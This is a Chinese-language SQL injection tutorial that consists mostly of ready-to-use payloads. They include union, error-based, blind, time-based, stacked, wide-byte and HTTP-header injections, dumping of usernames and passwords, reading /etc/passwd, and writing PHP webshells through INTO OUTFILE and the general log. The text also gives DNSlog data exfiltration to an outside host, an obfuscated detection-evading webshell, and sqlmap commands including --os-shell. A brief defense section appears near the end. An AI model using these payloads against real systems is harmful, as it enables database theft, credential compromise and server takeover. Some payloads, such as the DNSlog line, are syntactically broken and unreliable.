SQL注入漏洞详解总结大全
字数 1317 2025-08-10 17:51:46
SQL注入漏洞详解与防御指南
一、SQL注入原理
SQL注入是通过用户可控参数中注入SQL语法,改变原有SQL结构,导致程序执行非预期操作的安全漏洞。主要原因:
- 程序员使用字符串拼接方式构造SQL语句
- 未对用户可控参数进行严格过滤
二、SQL注入危害
- 获取数据库敏感信息(账号密码等)
- 执行"脱库"操作(导出数据库内容)
- 对数据库进行增删改操作
- 在特定情况下获取webshell或服务器权限
三、SQL注入分类
1. 按注入点类型
- 数字型注入
- 字符型注入
2. 按注入手法
- 联合查询注入
- 报错注入
- 布尔盲注
- 延时注入
- 堆叠注入
3. 按提交参数方式
- GET注入
- POST注入
- Cookie注入
- HTTP头部注入(User-Agent、Referer等)
4. 按注入点位置
- URL参数(如/?id=)
- 搜索框
- 留言板
- 后台登录
四、注入手法详解
1. 联合查询注入
适用条件:数据库内容会回显到页面中
必要条件:
- 两条select语句查询结果具有相同列数
- 对应列数据类型相同
常用payload:
-- 获取库名
UNION SELECT 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15
-- 获取表名
UNION SELECT 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15
FROM information_schema.tables
WHERE table_schema=database()
-- 获取列名
UNION SELECT 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15
FROM information_schema.columns
WHERE table_schema=database() AND table_name='tb'
-- 获取字段内容
UNION SELECT 1,2,hex(concat(xxx,0x7e,yyy)),4,5,6,7,8,9,10,11,12,13,14,15 FROM tb
2. 报错注入
适用条件:错误信息会显示在页面中
常用方法:
(1) group by重复键冲突
AND (SELECT 1 FROM (SELECT count(*),concat(0x5e,(SELECT database()),0x5e,floor(rand()*2))x
FROM information_schema.tables GROUP BY x)a)
(2) extractvalue报错函数
-- 爆库
AND extractvalue(1,concat(0x5e,(SELECT database()),0x5e))
-- 爆表
AND extractvalue(1,concat(0x7e,substr((SELECT group_concat(table_name)
FROM information_schema.tables WHERE table_schema=database()),1,32),0x7e))
-- 爆列
AND extractvalue(1,concat(0x7e,substr((SELECT group_concat(column_name)
FROM information_schema.columns WHERE table_schema=database() AND table_name='tb'),1,32),0x7e))
-- 爆数据
AND extractvalue(1,concat(0x7e,substr((SELECT concat(username,0x7e,password)
FROM cms_users),1,30),0x7e))
(3) updatexml报错注入
-- 爆库
AND updatexml(1,concat(0x5e,(SELECT database()),0x5e),1)
-- 爆表
AND updatexml(1,concat(0x7e,substr((SELECT group_concat(table_name)
FROM information_schema.tables WHERE table_schema=database()),1,90),0x7e),1)
-- 爆列
AND updatexml(1,concat(0x7e,substr((SELECT group_concat(column_name)
FROM information_schema.columns WHERE table_schema=database() AND table_name='cms_users'),1,32),0x7e),1)
-- 爆数据
AND updatexml(1,concat(0x7e,substr((SELECT concat(username,0x7e,password)
FROM cms_users),1,30),0x7e),1)
3. 布尔盲注
适用条件:页面无回显但会根据SQL执行结果返回不同响应
-- 判断数据库名
AND database()='xxx' --+
-- 判断字符
AND ascii(substr(database(),1,1))=x --+
-- 爆表
AND substr((SELECT group_concat(table_name)
FROM information_schema.tables WHERE table_schema='database'),1,1)=xxx
-- 爆列
AND substr((SELECT group_concat(column_name)
FROM information_schema.columns WHERE table_schema='database' AND table_name='tb'),1,1)=xxx
-- 爆字段
AND substr((SELECT concat(xxx,0x7e) FROM tb),1,1) =yyy
4. 延时注入
适用条件:页面无回显但可通过响应时间判断SQL执行结果
-- 基本判断
AND sleep(5) --+
-- 条件判断
AND if(length(database())>1,sleep(5),1) --+
-- 爆库
AND if(substr(database(),1,1)='',sleep(5),1) --+
-- 爆表
AND if(substr((SELECT group_concat(table_name)
FROM information_schema.tables WHERE table_schema=''),1,1),sleep(5),1) --+
-- 爆列
AND if(substr((SELECT group_concat(column_name)
FROM information_schema.columns WHERE table_schema='' AND table_name=''),1,1),sleep(5),1) --+
-- 爆数据
AND if(substr((SELECT concat(username,0x7e,password) FROM tb),1,1),sleep(5),1) --+
5. 堆叠注入
适用条件:支持多条SQL语句同时执行
-- 修改密码
';UPDATE users SET password='123456'--+
-- 执行多条语句
';INSERT INTO users(username,password) VALUES('hacker','123456');--
6. 宽字节注入
适用条件:使用GBK等宽字符集且存在转义处理
%81' UNION SELECT 1,version(),3 --+
7. HTTP头部注入
(1) Cookie注入
Cookie: uname=Dumb'AND updatexml(1,concat(0x3a,(SELECT database()),0x3a),1) #
(2) Base64注入
uname=RHVtYiIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDVlLChzZWxlY3QgZGF0YWJhc2UoKSksMHg1ZSksMSkj
(3) User-Agent注入
User-Agent: AJEST' AND updatexml(1,concat(0x5e,(SELECT database()),0x5e),1) AND '1
(4) Referer注入
Referer: AJEST' AND updatexml(1,concat(0x5e,(SELECT version()),0x5e),1) AND '1
五、SQL注入读写文件
1. 前提条件
- 当前用户有读写权限
- 已知文件绝对路径
- secure_file_priv参数允许
2. 检查权限
SELECT hex(file_priv),4,5,6,7,8,9,10,11,12,13,14,15
FROM mysql.user
WHERE user='root' AND host='localhost'
3. 查看secure_file_priv设置
SHOW global variables LIKE 'secure%';
4. 读写文件方法
(1) 读取文件
SELECT load_file('/etc/passwd')
(2) 写入文件
SELECT '<?php phpinfo();?>' INTO outfile '/var/www/html/shell.php'
(3) 替代方法(当secure_file_priv为NULL)
SET global general_log=on;
SET global general_log_file='C:/phpStudy/WWW/123.php';
SELECT '<?php eval($_POST[123]) ?>';
六、SQL注入防御措施
-
使用预编译语句(Prepared Statements)
- 参数化查询可有效防止SQL注入
-
输入验证与过滤
- 对用户输入进行严格验证
- 使用白名单机制
-
最小权限原则
- 数据库用户只赋予必要权限
-
错误处理
- 避免显示详细错误信息
-
安全配置
- 设置secure_file_priv为NULL或特定目录
- 禁用危险函数
-
使用ORM框架
- 减少直接编写SQL语句的机会
-
Web应用防火墙(WAF)
- 过滤恶意SQL注入尝试
-
定期安全审计
- 检查代码中的SQL注入漏洞
七、SQLmap使用指南
基本命令
# 检测注入漏洞
sqlmap -u "http://example.com/?id=1"
# 列出所有数据库
sqlmap -u "http://example.com/?id=1" --dbs
# 查看当前数据库
sqlmap -u "http://example.com/?id=1" --current-db
# 列出指定数据库的表
sqlmap -u "http://example.com/?id=1" -D "dbname" --tables
# 列出指定表的列
sqlmap -u "http://example.com/?id=1" -D "dbname" -T "tablename" --columns
# 导出数据
sqlmap -u "http://example.com/?id=1" -D "dbname" -T "tablename" --dump
# POST注入
sqlmap -r request.txt
高级功能
# 获取操作系统shell
sqlmap -u "http://example.com/?id=1" --os-shell
# 使用Google搜索注入点
sqlmap -g "inurl:.php?id="
# 设置检测等级
sqlmap -u "http://example.com/?id=1" --level 3
# 携带Cookie
sqlmap -u "http://example.com/?id=1" --cookie="username=admin"
八、特殊注入场景
1. 万能密码
username' OR '1'='1'#
2. DNSlog外带数据
AND (SELECT load_file(concat(select hex(user())),'.682y4b.dnslog.cn/abc')))
3. 免杀webshell
SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');
$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';
$_(base64_decode($_REQUEST['username']"
九、总结
SQL注入是Web应用中最常见也最危险的漏洞之一。攻击者可以通过多种方式利用SQL注入漏洞获取敏感数据、控制系统甚至整个服务器。防御SQL注入需要从代码编写、数据库配置、权限管理等多方面入手,采用纵深防御策略才能有效降低风险。